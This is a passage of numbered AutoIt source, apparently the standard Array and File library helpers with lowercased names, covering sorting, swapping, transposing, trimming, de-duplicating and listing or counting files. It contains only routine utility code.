  2090. If ($vtmp >= $vcur AND IsNumber($vcur)) OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop
  2091. $avarray[$j + 1] = $vcur
  2092. Next
  2093. Else
  2094. For $j = $i - 1 To $istart Step -1
  2095. If (StringCompare($vtmp, $avarray[$j]) >= 0) Then ExitLoop
  2096. $avarray[$j + 1] = $avarray[$j]
  2097. Next
  2098. EndIf
  2099. $avarray[$j + 1] = $vtmp
  2100. Next
  2101. Return
  2102. EndIf
  2103. Local $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)], $bnum = IsNumber($vpivot)
  2104. Do
  2105. If $bnum Then
  2106. While ($avarray[$l] < $vpivot AND IsNumber($avarray[$l])) OR (NOT IsNumber($avarray[$l]) AND StringCompare($avarray[$l], $vpivot) < 0)
  2107. $l += 1
  2108. WEnd
  2109. While ($avarray[$r] > $vpivot AND IsNumber($avarray[$r])) OR (NOT IsNumber($avarray[$r]) AND StringCompare($avarray[$r], $vpivot) > 0)
  2110. $r -= 1
  2111. WEnd
  2112. Else
  2113. While (StringCompare($avarray[$l], $vpivot) < 0)
  2114. $l += 1
  2115. WEnd
  2116. While (StringCompare($avarray[$r], $vpivot) > 0)
  2117. $r -= 1
  2118. WEnd
  2119. EndIf
  2120. If $l <= $r Then
  2121. $vtmp = $avarray[$l]
  2122. $avarray[$l] = $avarray[$r]
  2123. $avarray[$r] = $vtmp
  2124. $l += 1
  2125. $r -= 1
  2126. EndIf
  2127. Until $l > $r
  2128. __arrayquicksort1d($avarray, $istart, $r)
  2129. __arrayquicksort1d($avarray, $l, $iend)
  2130. EndFunc
  2131.  
  2132. Func __arrayquicksort2d(ByRef $avarray, Const ByRef $istep, Const ByRef $istart, Const ByRef $iend, Const ByRef $isubitem, Const ByRef $isubmax)
  2133. If $iend <= $istart Then Return
  2134. Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)][$isubitem], $bnum = IsNumber($vpivot)
  2135. Do
  2136. If $bnum Then
  2137. While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0 AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem]) AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
  2138. $l += 1
  2139. WEnd
  2140. While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0 AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem]) AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
  2141. $r -= 1
  2142. WEnd
  2143. Else
  2144. While ($istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
  2145. $l += 1
  2146. WEnd
  2147. While ($istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
  2148. $r -= 1
  2149. WEnd
  2150. EndIf
  2151. If $l <= $r Then
  2152. For $i = 0 To $isubmax
  2153. $vtmp = $avarray[$l][$i]
  2154. $avarray[$l][$i] = $avarray[$r][$i]
  2155. $avarray[$r][$i] = $vtmp
  2156. Next
  2157. $l += 1
  2158. $r -= 1
  2159. EndIf
  2160. Until $l > $r
  2161. __arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax)
  2162. __arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax)
  2163. EndFunc
  2164.  
  2165. Func __arraydualpivotsort(ByRef $aarray, $ipivot_left, $ipivot_right, $bleftmost = True)
  2166. If $ipivot_left > $ipivot_right Then Return
  2167. Local $ilength = $ipivot_right - $ipivot_left + 1
  2168. Local $i, $j, $k, $iai, $iak, $ia1, $ia2, $ilast
  2169. If $ilength < 45 Then
  2170. If $bleftmost Then
  2171. $i = $ipivot_left
  2172. While $i < $ipivot_right
  2173. $j = $i
  2174. $iai = $aarray[$i + 1]
  2175. While $iai < $aarray[$j]
  2176. $aarray[$j + 1] = $aarray[$j]
  2177. $j -= 1
  2178. If $j + 1 = $ipivot_left Then ExitLoop
  2179. WEnd
  2180. $aarray[$j + 1] = $iai
  2181. $i += 1
  2182. WEnd
  2183. Else
  2184. While 1
  2185. If $ipivot_left >= $ipivot_right Then Return 1
  2186. $ipivot_left += 1
  2187. If $aarray[$ipivot_left] < $aarray[$ipivot_left - 1] Then ExitLoop
  2188. WEnd
  2189. While 1
  2190. $k = $ipivot_left
  2191. $ipivot_left += 1
  2192. If $ipivot_left > $ipivot_right Then ExitLoop
  2193. $ia1 = $aarray[$k]
  2194. $ia2 = $aarray[$ipivot_left]
  2195. If $ia1 < $ia2 Then
  2196. $ia2 = $ia1
  2197. $ia1 = $aarray[$ipivot_left]
  2198. EndIf
  2199. $k -= 1
  2200. While $ia1 < $aarray[$k]
  2201. $aarray[$k + 2] = $aarray[$k]
  2202. $k -= 1
  2203. WEnd
  2204. $aarray[$k + 2] = $ia1
  2205. While $ia2 < $aarray[$k]
  2206. $aarray[$k + 1] = $aarray[$k]
  2207. $k -= 1
  2208. WEnd
  2209. $aarray[$k + 1] = $ia2
  2210. $ipivot_left += 1
  2211. WEnd
  2212. $ilast = $aarray[$ipivot_right]
  2213. $ipivot_right -= 1
  2214. While $ilast < $aarray[$ipivot_right]
  2215. $aarray[$ipivot_right + 1] = $aarray[$ipivot_right]
  2216. $ipivot_right -= 1
  2217. WEnd
  2218. $aarray[$ipivot_right + 1] = $ilast
  2219. EndIf
  2220. Return 1
  2221. EndIf
  2222. Local $iseventh = BitShift($ilength, 3) + BitShift($ilength, 6) + 1
  2223. Local $ie1, $ie2, $ie3, $ie4, $ie5, $t
  2224. $ie3 = Ceiling(($ipivot_left + $ipivot_right) / 2)
  2225. $ie2 = $ie3 - $iseventh
  2226. $ie1 = $ie2 - $iseventh
  2227. $ie4 = $ie3 + $iseventh
  2228. $ie5 = $ie4 + $iseventh
  2229. If $aarray[$ie2] < $aarray[$ie1] Then
  2230. $t = $aarray[$ie2]
  2231. $aarray[$ie2] = $aarray[$ie1]
  2232. $aarray[$ie1] = $t
  2233. EndIf
  2234. If $aarray[$ie3] < $aarray[$ie2] Then
  2235. $t = $aarray[$ie3]
  2236. $aarray[$ie3] = $aarray[$ie2]
  2237. $aarray[$ie2] = $t
  2238. If $t < $aarray[$ie1] Then
  2239. $aarray[$ie2] = $aarray[$ie1]
  2240. $aarray[$ie1] = $t
  2241. EndIf
  2242. EndIf
  2243. If $aarray[$ie4] < $aarray[$ie3] Then
  2244. $t = $aarray[$ie4]
  2245. $aarray[$ie4] = $aarray[$ie3]
  2246. $aarray[$ie3] = $t
  2247. If $t < $aarray[$ie2] Then
  2248. $aarray[$ie3] = $aarray[$ie2]
  2249. $aarray[$ie2] = $t
  2250. If $t < $aarray[$ie1] Then
  2251. $aarray[$ie2] = $aarray[$ie1]
  2252. $aarray[$ie1] = $t
  2253. EndIf
  2254. EndIf
  2255. EndIf
  2256. If $aarray[$ie5] < $aarray[$ie4] Then
  2257. $t = $aarray[$ie5]
  2258. $aarray[$ie5] = $aarray[$ie4]
  2259. $aarray[$ie4] = $t
  2260. If $t < $aarray[$ie3] Then
  2261. $aarray[$ie4] = $aarray[$ie3]
  2262. $aarray[$ie3] = $t
  2263. If $t < $aarray[$ie2] Then
  2264. $aarray[$ie3] = $aarray[$ie2]
  2265. $aarray[$ie2] = $t
  2266. If $t < $aarray[$ie1] Then
  2267. $aarray[$ie2] = $aarray[$ie1]
  2268. $aarray[$ie1] = $t
  2269. EndIf
  2270. EndIf
  2271. EndIf
  2272. EndIf
  2273. Local $iless = $ipivot_left
  2274. Local $igreater = $ipivot_right
  2275. If (($aarray[$ie1] <> $aarray[$ie2]) AND ($aarray[$ie2] <> $aarray[$ie3]) AND ($aarray[$ie3] <> $aarray[$ie4]) AND ($aarray[$ie4] <> $aarray[$ie5])) Then
  2276. Local $ipivot_1 = $aarray[$ie2]
  2277. Local $ipivot_2 = $aarray[$ie4]
  2278. $aarray[$ie2] = $aarray[$ipivot_left]
  2279. $aarray[$ie4] = $aarray[$ipivot_right]
  2280. Do
  2281. $iless += 1
  2282. Until $aarray[$iless] >= $ipivot_1
  2283. Do
  2284. $igreater -= 1
  2285. Until $aarray[$igreater] <= $ipivot_2
  2286. $k = $iless
  2287. While $k <= $igreater
  2288. $iak = $aarray[$k]
  2289. If $iak < $ipivot_1 Then
  2290. $aarray[$k] = $aarray[$iless]
  2291. $aarray[$iless] = $iak
  2292. $iless += 1
  2293. ElseIf $iak > $ipivot_2 Then
  2294. While $aarray[$igreater] > $ipivot_2
  2295. $igreater -= 1
  2296. If $igreater + 1 = $k Then ExitLoop 2
  2297. WEnd
  2298. If $aarray[$igreater] < $ipivot_1 Then
  2299. $aarray[$k] = $aarray[$iless]
  2300. $aarray[$iless] = $aarray[$igreater]
  2301. $iless += 1
  2302. Else
  2303. $aarray[$k] = $aarray[$igreater]
  2304. EndIf
  2305. $aarray[$igreater] = $iak
  2306. $igreater -= 1
  2307. EndIf
  2308. $k += 1
  2309. WEnd
  2310. $aarray[$ipivot_left] = $aarray[$iless - 1]
  2311. $aarray[$iless - 1] = $ipivot_1
  2312. $aarray[$ipivot_right] = $aarray[$igreater + 1]
  2313. $aarray[$igreater + 1] = $ipivot_2
  2314. __arraydualpivotsort($aarray, $ipivot_left, $iless - 2, True)
  2315. __arraydualpivotsort($aarray, $igreater + 2, $ipivot_right, False)
  2316. If ($iless < $ie1) AND ($ie5 < $igreater) Then
  2317. While $aarray[$iless] = $ipivot_1
  2318. $iless += 1
  2319. WEnd
  2320. While $aarray[$igreater] = $ipivot_2
  2321. $igreater -= 1
  2322. WEnd
  2323. $k = $iless
  2324. While $k <= $igreater
  2325. $iak = $aarray[$k]
  2326. If $iak = $ipivot_1 Then
  2327. $aarray[$k] = $aarray[$iless]
  2328. $aarray[$iless] = $iak
  2329. $iless += 1
  2330. ElseIf $iak = $ipivot_2 Then
  2331. While $aarray[$igreater] = $ipivot_2
  2332. $igreater -= 1
  2333. If $igreater + 1 = $k Then ExitLoop 2
  2334. WEnd
  2335. If $aarray[$igreater] = $ipivot_1 Then
  2336. $aarray[$k] = $aarray[$iless]
  2337. $aarray[$iless] = $ipivot_1
  2338. $iless += 1
  2339. Else
  2340. $aarray[$k] = $aarray[$igreater]
  2341. EndIf
  2342. $aarray[$igreater] = $iak
  2343. $igreater -= 1
  2344. EndIf
  2345. $k += 1
  2346. WEnd
  2347. EndIf
  2348. __arraydualpivotsort($aarray, $iless, $igreater, False)
  2349. Else
  2350. Local $ipivot = $aarray[$ie3]
  2351. $k = $iless
  2352. While $k <= $igreater
  2353. If $aarray[$k] = $ipivot Then
  2354. $k += 1
  2355. ContinueLoop
  2356. EndIf
  2357. $iak = $aarray[$k]
  2358. If $iak < $ipivot Then
  2359. $aarray[$k] = $aarray[$iless]
  2360. $aarray[$iless] = $iak
  2361. $iless += 1
  2362. Else
  2363. While $aarray[$igreater] > $ipivot
  2364. $igreater -= 1
  2365. WEnd
  2366. If $aarray[$igreater] < $ipivot Then
  2367. $aarray[$k] = $aarray[$iless]
  2368. $aarray[$iless] = $aarray[$igreater]
  2369. $iless += 1
  2370. Else
  2371. $aarray[$k] = $ipivot
  2372. EndIf
  2373. $aarray[$igreater] = $iak
  2374. $igreater -= 1
  2375. EndIf
  2376. $k += 1
  2377. WEnd
  2378. __arraydualpivotsort($aarray, $ipivot_left, $iless - 1, True)
  2379. __arraydualpivotsort($aarray, $igreater + 1, $ipivot_right, False)
  2380. EndIf
  2381. EndFunc
  2382.  
  2383. Func _arrayswap(ByRef $avarray, $iindex_1, $iindex_2, $brow = False, $istart = 0, $iend = 0)
  2384. If $brow = Default Then $brow = False
  2385. If $istart = Default Then $istart = 0
  2386. If $iend = Default Then $iend = 0
  2387. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  2388. Local $idim_1 = UBound($avarray, $ubound_rows) - 1
  2389. Local $idim_2 = UBound($avarray, $ubound_columns) - 1
  2390. If $istart < 0 OR $iend < 0 Then Return SetError(4, 0, -1)
  2391. If $istart > $iend Then Return SetError(5, 0, -1)
  2392. If $brow Then
  2393. If $iindex_1 < 0 OR $iindex_1 > $idim_2 Then Return SetError(4, 0, -1)
  2394. If $iend = 0 Then $iend = $idim_1
  2395. If $istart > $idim_2 OR $iend > $idim_2 Then Return SetError(4, 0, -1)
  2396. Else
  2397. If $iindex_1 < 0 OR $iindex_1 > $idim_1 Then Return SetError(4, 0, -1)
  2398. If $iend = 0 Then $iend = $idim_2
  2399. If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(4, 0, -1)
  2400. EndIf
  2401. Local $vtmp
  2402. Switch UBound($avarray, $ubound_dimensions)
  2403. Case 1
  2404. $vtmp = $avarray[$iindex_1]
  2405. $avarray[$iindex_1] = $avarray[$iindex_2]
  2406. $avarray[$iindex_2] = $vtmp
  2407. Case 2
  2408. If $brow Then
  2409. For $j = $istart To $iend
  2410. $vtmp = $avarray[$j][$iindex_1]
  2411. $avarray[$j][$iindex_1] = $avarray[$j][$iindex_2]
  2412. $avarray[$j][$iindex_2] = $vtmp
  2413. Next
  2414. Else
  2415. For $j = $istart To $iend
  2416. $vtmp = $avarray[$iindex_1][$j]
  2417. $avarray[$iindex_1][$j] = $avarray[$iindex_2][$j]
  2418. $avarray[$iindex_2][$j] = $vtmp
  2419. Next
  2420. EndIf
  2421. Case Else
  2422. Return SetError(2, 0, -1)
  2423. EndSwitch
  2424. Return 1
  2425. EndFunc
  2426.  
  2427. Func _arraytoclip(Const ByRef $avarray, $sdelim_item = "|", $istart_row = 0, $iend_row = 0, $sdelim_row = @CRLF, $istart_col = 0, $iend_col = 0)
  2428. Local $sresult = _arraytostring($avarray, $sdelim_item, $istart_row, $iend_row, $sdelim_row, $istart_col, $iend_col)
  2429. If @error Then Return SetError(@error, 0, 0)
  2430. If ClipPut($sresult) Then Return 1
  2431. Return SetError(-1, 0, 0)
  2432. EndFunc
  2433.  
  2434. Func _arraytostring(Const ByRef $avarray, $sdelim_item = "|", $istart_row = 0, $iend_row = 0, $sdelim_row = @CRLF, $istart_col = 0, $iend_col = 0)
  2435. If $sdelim_item = Default Then $sdelim_item = "|"
  2436. If $sdelim_row = Default Then $sdelim_row = @CRLF
  2437. If $istart_row = Default Then $istart_row = 0
  2438. If $iend_row = Default Then $iend_row = 0
  2439. If $istart_col = Default Then $istart_col = 0
  2440. If $iend_col = Default Then $iend_col = 0
  2441. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  2442. Local $idim_1 = UBound($avarray, $ubound_rows) - 1
  2443. If $iend_row = 0 Then $iend_row = $idim_1
  2444. If $istart_row < 0 OR $iend_row < 0 Then Return SetError(3, 0, -1)
  2445. If $istart_row > $idim_1 OR $iend_row > $idim_1 Then Return SetError(3, 0, "")
  2446. If $istart_row > $iend_row Then Return SetError(4, 0, -1)
  2447. Local $sret = ""
  2448. Switch UBound($avarray, $ubound_dimensions)
  2449. Case 1
  2450. For $i = $istart_row To $iend_row
  2451. $sret &= $avarray[$i] & $sdelim_item
  2452. Next
  2453. Return StringTrimRight($sret, StringLen($sdelim_item))
  2454. Case 2
  2455. Local $idim_2 = UBound($avarray, $ubound_columns) - 1
  2456. If $iend_col = 0 Then $iend_col = $idim_2
  2457. If $istart_col < 0 OR $iend_col < 0 Then Return SetError(5, 0, -1)
  2458. If $istart_col > $idim_2 OR $iend_col > $idim_2 Then Return SetError(5, 0, -1)
  2459. If $istart_col > $iend_col Then Return SetError(6, 0, -1)
  2460. For $i = $istart_row To $iend_row
  2461. For $j = $istart_col To $iend_col
  2462. $sret &= $avarray[$i][$j] & $sdelim_item
  2463. Next
  2464. $sret = StringTrimRight($sret, StringLen($sdelim_item)) & $sdelim_row
  2465. Next
  2466. Return StringTrimRight($sret, StringLen($sdelim_row))
  2467. Case Else
  2468. Return SetError(2, 0, -1)
  2469. EndSwitch
  2470. Return 1
  2471. EndFunc
  2472.  
  2473. Func _arraytranspose(ByRef $avarray)
  2474. Switch UBound($avarray, 0)
  2475. Case 0
  2476. Return SetError(2, 0, 0)
  2477. Case 1
  2478. Local $atemp[1][UBound($avarray)]
  2479. For $i = 0 To UBound($avarray) - 1
  2480. $atemp[0][$i] = $avarray[$i]
  2481. Next
  2482. $avarray = $atemp
  2483. Return 1
  2484. Case 2
  2485. Local $velement, $idim_1 = UBound($avarray, 1), $idim_2 = UBound($avarray, 2), $idim_max = ($idim_1 > $idim_2) ? $idim_1 : $idim_2
  2486. If $idim_max <= 4096 Then
  2487. ReDim $avarray[$idim_max][$idim_max]
  2488. For $i = 0 To $idim_max - 2
  2489. For $j = $i + 1 To $idim_max - 1
  2490. $velement = $avarray[$i][$j]
  2491. $avarray[$i][$j] = $avarray[$j][$i]
  2492. $avarray[$j][$i] = $velement
  2493. Next
  2494. Next
  2495. If $idim_1 = 1 Then
  2496. Local $atemp[$idim_2]
  2497. For $i = 0 To $idim_2 - 1
  2498. $atemp[$i] = $avarray[$i][0]
  2499. Next
  2500. $avarray = $atemp
  2501. Else
  2502. ReDim $avarray[$idim_2][$idim_1]
  2503. EndIf
  2504. Else
  2505. Local $atemp[$idim_2][$idim_1]
  2506. For $i = 0 To $idim_1 - 1
  2507. For $j = 0 To $idim_2 - 1
  2508. $atemp[$j][$i] = $avarray[$i][$j]
  2509. Next
  2510. Next
  2511. ReDim $avarray[$idim_2][$idim_1]
  2512. $avarray = $atemp
  2513. EndIf
  2514. Return 1
  2515. Case Else
  2516. Return SetError(1, 0, 0)
  2517. EndSwitch
  2518. EndFunc
  2519.  
  2520. Func _arraytrim(ByRef $avarray, $itrimnum, $idirection = 0, $istart = 0, $iend = 0, $isubitem = 0)
  2521. If $idirection = Default Then $idirection = 0
  2522. If $istart = Default Then $istart = 0
  2523. If $iend = Default Then $iend = 0
  2524. If $isubitem = Default Then $isubitem = 0
  2525. If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  2526. Local $idim_1 = UBound($avarray, $ubound_rows) - 1
  2527. If $iend = 0 Then $iend = $idim_1
  2528. If $istart > $iend Then Return SetError(3, 0, -1)
  2529. If $istart < 0 OR $iend < 0 Then Return SetError(3, 0, -1)
  2530. If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(3, 0, -1)
  2531. If $istart > $iend Then Return SetError(4, 0, -1)
  2532. Switch UBound($avarray, $ubound_dimensions)
  2533. Case 1
  2534. If $idirection Then
  2535. For $i = $istart To $iend
  2536. $avarray[$i] = StringTrimRight($avarray[$i], $itrimnum)
  2537. Next
  2538. Else
  2539. For $i = $istart To $iend
  2540. $avarray[$i] = StringTrimLeft($avarray[$i], $itrimnum)
  2541. Next
  2542. EndIf
  2543. Case 2
  2544. Local $idim_2 = UBound($avarray, $ubound_columns) - 1
  2545. If $isubitem < 0 OR $isubitem > $idim_2 Then Return SetError(5, 0, -1)
  2546. If $idirection Then
  2547. For $i = $istart To $iend
  2548. $avarray[$i][$isubitem] = StringTrimRight($avarray[$i][$isubitem], $itrimnum)
  2549. Next
  2550. Else
  2551. For $i = $istart To $iend
  2552. $avarray[$i][$isubitem] = StringTrimLeft($avarray[$i][$isubitem], $itrimnum)
  2553. Next
  2554. EndIf
  2555. Case Else
  2556. Return SetError(2, 0, 0)
  2557. EndSwitch
  2558. Return 1
  2559. EndFunc
  2560.  
  2561. Func _arrayunique(Const ByRef $aarray, $icolumn = 0, $ibase = 0, $icase = 0, $iflags = 1)
  2562. If $icolumn = Default Then $icolumn = 0
  2563. If $ibase = Default Then $ibase = 0
  2564. If $icase = Default Then $icase = 0
  2565. If $iflags = Default Then $iflags = 1
  2566. If UBound($aarray, $ubound_rows) = 0 Then Return SetError(1, 0, 0)
  2567. If $ibase < 0 OR $ibase > 1 OR (NOT IsInt($ibase)) Then Return SetError(3, 0, 0)
  2568. If $icase < 0 OR $icase > 1 OR (NOT IsInt($icase)) Then Return SetError(3, 0, 0)
  2569. If $iflags < 0 OR $iflags > 1 OR (NOT IsInt($iflags)) Then Return SetError(4, 0, 0)
  2570. Local $idims = UBound($aarray, $ubound_dimensions), $inumcolumns = UBound($aarray, $ubound_columns)
  2571. If $idims > 2 Then Return SetError(2, 0, 0)
  2572. If $icolumn < 0 OR ($inumcolumns = 0 AND $icolumn > 0) OR ($inumcolumns > 0 AND $icolumn >= $inumcolumns) Then Return SetError(5, 0, 0)
  2573. Local $odictionary = ObjCreate("Scripting.Dictionary")
  2574. $odictionary.comparemode = Number(NOT $icase)
  2575. Local $velem = 0
  2576. For $i = $ibase To UBound($aarray) - 1
  2577. If $idims = 1 Then
  2578. $velem = $aarray[$i]
  2579. Else
  2580. $velem = $aarray[$i][$icolumn]
  2581. EndIf
  2582. $odictionary.item($velem)
  2583. Next
  2584. If BitAND($iflags, 1) = 1 Then
  2585. Local $atemp = $odictionary.keys()
  2586. _arrayinsert($atemp, 0, $odictionary.count)
  2587. Return $atemp
  2588. Else
  2589. Return $odictionary.keys()
  2590. EndIf
  2591. EndFunc
  2592.  
  2593. Func _array1dtohistogram($aarray, $isizing = 100)
  2594. If UBound($aarray, 0) > 1 Then Return SetError(1, 0, "")
  2595. $isizing = $isizing * 8
  2596. Local $t, $n, $imin = 0, $imax = 0, $ioffset = 0
  2597. For $i = 0 To UBound($aarray) - 1
  2598. $t = $aarray[$i]
  2599. $t = IsNumber($t) ? Round($t) : 0
  2600. If $t < $imin Then $imin = $t
  2601. If $t > $imax Then $imax = $t
  2602. Next
  2603. Local $irange = Int(Round(($imax - $imin) / 8)) * 8
  2604. Local $ispaceratio = 4
  2605. For $i = 0 To UBound($aarray) - 1
  2606. $t = $aarray[$i]
  2607. If $t Then
  2608. $n = Abs(Round(($isizing * $t) / $irange) / 8)
  2609. $aarray[$i] = ""
  2610. If $t > 0 Then
  2611. If $imin Then
  2612. $ioffset = Int(Abs(Round(($isizing * $imin) / $irange) / 8) / 8 * $ispaceratio)
  2613. $aarray[$i] = __array_stringrepeat(ChrW(32), $ioffset)
  2614. EndIf
  2615. Else
  2616. If $imin <> $t Then
  2617. $ioffset = Int(Abs(Round(($isizing * ($t - $imin)) / $irange) / 8) / 8 * $ispaceratio)
  2618. $aarray[$i] = __array_stringrepeat(ChrW(32), $ioffset)
  2619. EndIf
  2620. EndIf
  2621. $aarray[$i] &= __array_stringrepeat(ChrW(9608), Int($n / 8))
  2622. $n = Mod($n, 8)
  2623. If $n > 0 Then $aarray[$i] &= ChrW(9608 + 8 - $n)
  2624. $aarray[$i] &= " " & $t
  2625. Else
  2626. $aarray[$i] = ""
  2627. EndIf
  2628. Next
  2629. Return $aarray
  2630. EndFunc
  2631.  
  2632. Func __array_stringrepeat($sstring, $irepeatcount)
  2633. $irepeatcount = Int($irepeatcount)
  2634. If StringLen($sstring) < 1 OR $irepeatcount <= 0 Then Return SetError(1, 0, "")
  2635. Local $sresult = ""
  2636. While $irepeatcount > 1
  2637. If BitAND($irepeatcount, 1) Then $sresult &= $sstring
  2638. $sstring &= $sstring
  2639. $irepeatcount = BitShift($irepeatcount, 1)
  2640. WEnd
  2641. Return $sstring & $sresult
  2642. EndFunc
  2643.  
  2644. Func __array_exeterinternal(ByRef $avarray, $istart, $isize, $sdelim, ByRef $aidx, ByRef $aresult, ByRef $icount)
  2645. If $istart == $isize - 1 Then
  2646. For $i = 0 To $isize - 1
  2647. $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
  2648. Next
  2649. If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
  2650. $icount += 1
  2651. Else
  2652. Local $itemp
  2653. For $i = $istart To $isize - 1
  2654. $itemp = $aidx[$i]
  2655. $aidx[$i] = $aidx[$istart]
  2656. $aidx[$istart] = $itemp
  2657. __array_exeterinternal($avarray, $istart + 1, $isize, $sdelim, $aidx, $aresult, $icount)
  2658. $aidx[$istart] = $aidx[$i]
  2659. $aidx[$i] = $itemp
  2660. Next
  2661. EndIf
  2662. EndFunc
  2663.  
  2664. Func __array_combinations($in, $ir)
  2665. Local $i_total = 1
  2666. For $i = $ir To 1 Step -1
  2667. $i_total *= ($in / $i)
  2668. $in -= 1
  2669. Next
  2670. Return Round($i_total)
  2671. EndFunc
  2672.  
  2673. Func __array_getnext($in, $ir, ByRef $ileft, $itotal, ByRef $aidx)
  2674. If $ileft == $itotal Then
  2675. $ileft -= 1
  2676. Return
  2677. EndIf
  2678. Local $i = $ir - 1
  2679. While $aidx[$i] == $in - $ir + $i
  2680. $i -= 1
  2681. WEnd
  2682. $aidx[$i] += 1
  2683. For $j = $i + 1 To $ir - 1
  2684. $aidx[$j] = $aidx[$i] + $j - $i
  2685. Next
  2686. $ileft -= 1
  2687. EndFunc
  2688.  
  2689. Func _filecountlines($sfilepath)
  2690. Local $hfileopen = FileOpen($sfilepath, $fo_read)
  2691. If $hfileopen = -1 Then Return SetError(1, 0, 0)
  2692. Local $sfileread = StringStripWS(FileRead($hfileopen), $str_striptrailing)
  2693. FileClose($hfileopen)
  2694. Return UBound(StringRegExp($sfileread, "\R", $str_regexparrayglobalmatch)) + 1 - Int($sfileread = "")
  2695. EndFunc
  2696.  
  2697. Func _filecreate($sfilepath)
  2698. Local $hfileopen = FileOpen($sfilepath, BitOR($fo_overwrite, $fo_createpath))
  2699. If $hfileopen = -1 Then Return SetError(1, 0, 0)
  2700. Local $ifilewrite = FileWrite($hfileopen, "")
  2701. FileClose($hfileopen)
  2702. If NOT $ifilewrite Then Return SetError(2, 0, 0)
  2703. Return 1
  2704. EndFunc
  2705.  
  2706. Func _filelisttoarray($sfilepath, $sfilter = "*", $iflag = 0, $breturnpath = False)
  2707. Local $sdelimiter = "|", $sfilelist = "", $sfilename = "", $sfullpath = ""
  2708. $sfilepath = StringRegExpReplace($sfilepath, "[\\/]+$", "") & "\"
  2709. If $iflag = Default Then $iflag = 0
  2710. If $breturnpath Then $sfullpath = $sfilepath
  2711. If $sfilter = Default Then $sfilter = "*"
  2712. If NOT FileExists($sfilepath) Then Return SetError(1, 0, 0)
  2713. If StringRegExp($sfilter, "[\\/:><\|]|(?s)^\s*$") Then Return SetError(2, 0, 0)
  2714. If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 0, 0)
  2715. Local $hsearch = FileFindFirstFile($sfilepath & $sfilter)
  2716. If @error Then Return SetError(4, 0, 0)
  2717. While 1
  2718. $sfilename = FileFindNextFile($hsearch)
  2719. If @error Then ExitLoop
  2720. If ($iflag + @extended = 2) Then ContinueLoop
  2721. $sfilelist &= $sdelimiter & $sfullpath & $sfilename
  2722. WEnd
  2723. FileClose($hsearch)
  2724. If $sfilelist = "" Then Return SetError(4, 0, 0)
  2725. Return StringSplit(StringTrimLeft($sfilelist, 1), $sdelimiter)
  2726. EndFunc
  2727.  
  2728. Func _filelisttoarrayrec($sinitialpath, $smask = "*", $ireturn = 0, $irecur = 0, $isort = 0, $ireturnpath = 1)
  2729. Local $asreturnlist[100] = [0], $asfilematchlist[100] = [0], $asrootfilematchlist[100] = [0], $asfoldermatchlist[100] = [0], $asfoldersearchlist[100] = [1]
  2730. Local $sinclude_list = "*", $sexclude_list, $sexclude_list_folder, $sinclude_file_mask = ".+", $sexclude_file_mask = ":", $sinclude_folder_mask = ".+", $sexclude_folder_mask = ":"
  2731. Local $sfolderslash = "", $imaxlevel, $hsearch, $bfolder, $sretpath = "", $scurrentpath, $sname, $iattribs, $ihide_hs = 0, $ihide_link = 0, $blongpath = False
  2732. Local $asfolderfilesectionlist[100][2] = [[0, 0]], $sfoldertofind, $ifilesectionstartindex, $ifilesectionendindex
  2733. If StringLeft($sinitialpath, 4) == "\\?\" Then
  2734. $blongpath = True
  2735. EndIf
  2736. If NOT FileExists($sinitialpath) Then Return SetError(1, 1, "")
  2737. If StringRight($sinitialpath, 1) = "\" Then
  2738. $sfolderslash = "\"
  2739. Else
  2740. $sinitialpath = $sinitialpath & "\"
  2741. EndIf
  2742. $asfoldersearchlist[1] = $sinitialpath
  2743. If $smask = Default Then $smask = "*"
  2744. If $ireturn = Default Then $ireturn = 0
  2745. If $irecur = Default Then $irecur = 0
  2746. If $isort = Default Then $isort = 0
  2747. If $ireturnpath = Default Then $ireturnpath = 1
  2748. If BitAND($ireturn, 4) Then
  2749. $ihide_hs += 2
  2750. $ireturn -= 4
  2751. EndIf
  2752. If BitAND($ireturn, 8) Then
  2753. $ihide_hs += 4
  2754. $ireturn -= 8
  2755. EndIf
  2756. If BitAND($ireturn, 16) Then
  2757. $ihide_link = 1024
  2758. $ireturn -= 16
  2759. EndIf
  2760. If $irecur > 1 OR NOT IsInt($irecur) Then Return SetError(1, 6, "")
  2761. If $irecur < 0 Then
  2762. StringReplace($sinitialpath, "\", "", 0, $str_nocasesensebasic)
  2763. $imaxlevel = @extended - $irecur
  2764. EndIf
  2765. Local $amasksplit = StringSplit($smask, "|")
  2766. Switch $amasksplit[0]
  2767. Case 3
  2768. $sexclude_list_folder = $amasksplit[3]
  2769. ContinueCase
  2770. Case 2
  2771. $sexclude_list = $amasksplit[2]
  2772. ContinueCase
  2773. Case 1
  2774. $sinclude_list = $amasksplit[1]
  2775. EndSwitch
  2776. If $sinclude_list <> "*" Then
  2777. If NOT __fltar_listtomask($sinclude_file_mask, $sinclude_list) Then Return SetError(1, 2, "")
  2778. EndIf
  2779. Switch $ireturn
  2780. Case 0
  2781. Switch $irecur
  2782. Case 0
  2783. $sinclude_folder_mask = $sinclude_file_mask
  2784. EndSwitch
  2785. Case 2
  2786. $sinclude_folder_mask = $sinclude_file_mask
  2787. EndSwitch
  2788. If $sexclude_list <> "" Then
  2789. If NOT __fltar_listtomask($sexclude_file_mask, $sexclude_list) Then Return SetError(1, 3, "")
  2790. EndIf
  2791. If $irecur Then
  2792. If $sexclude_list_folder Then
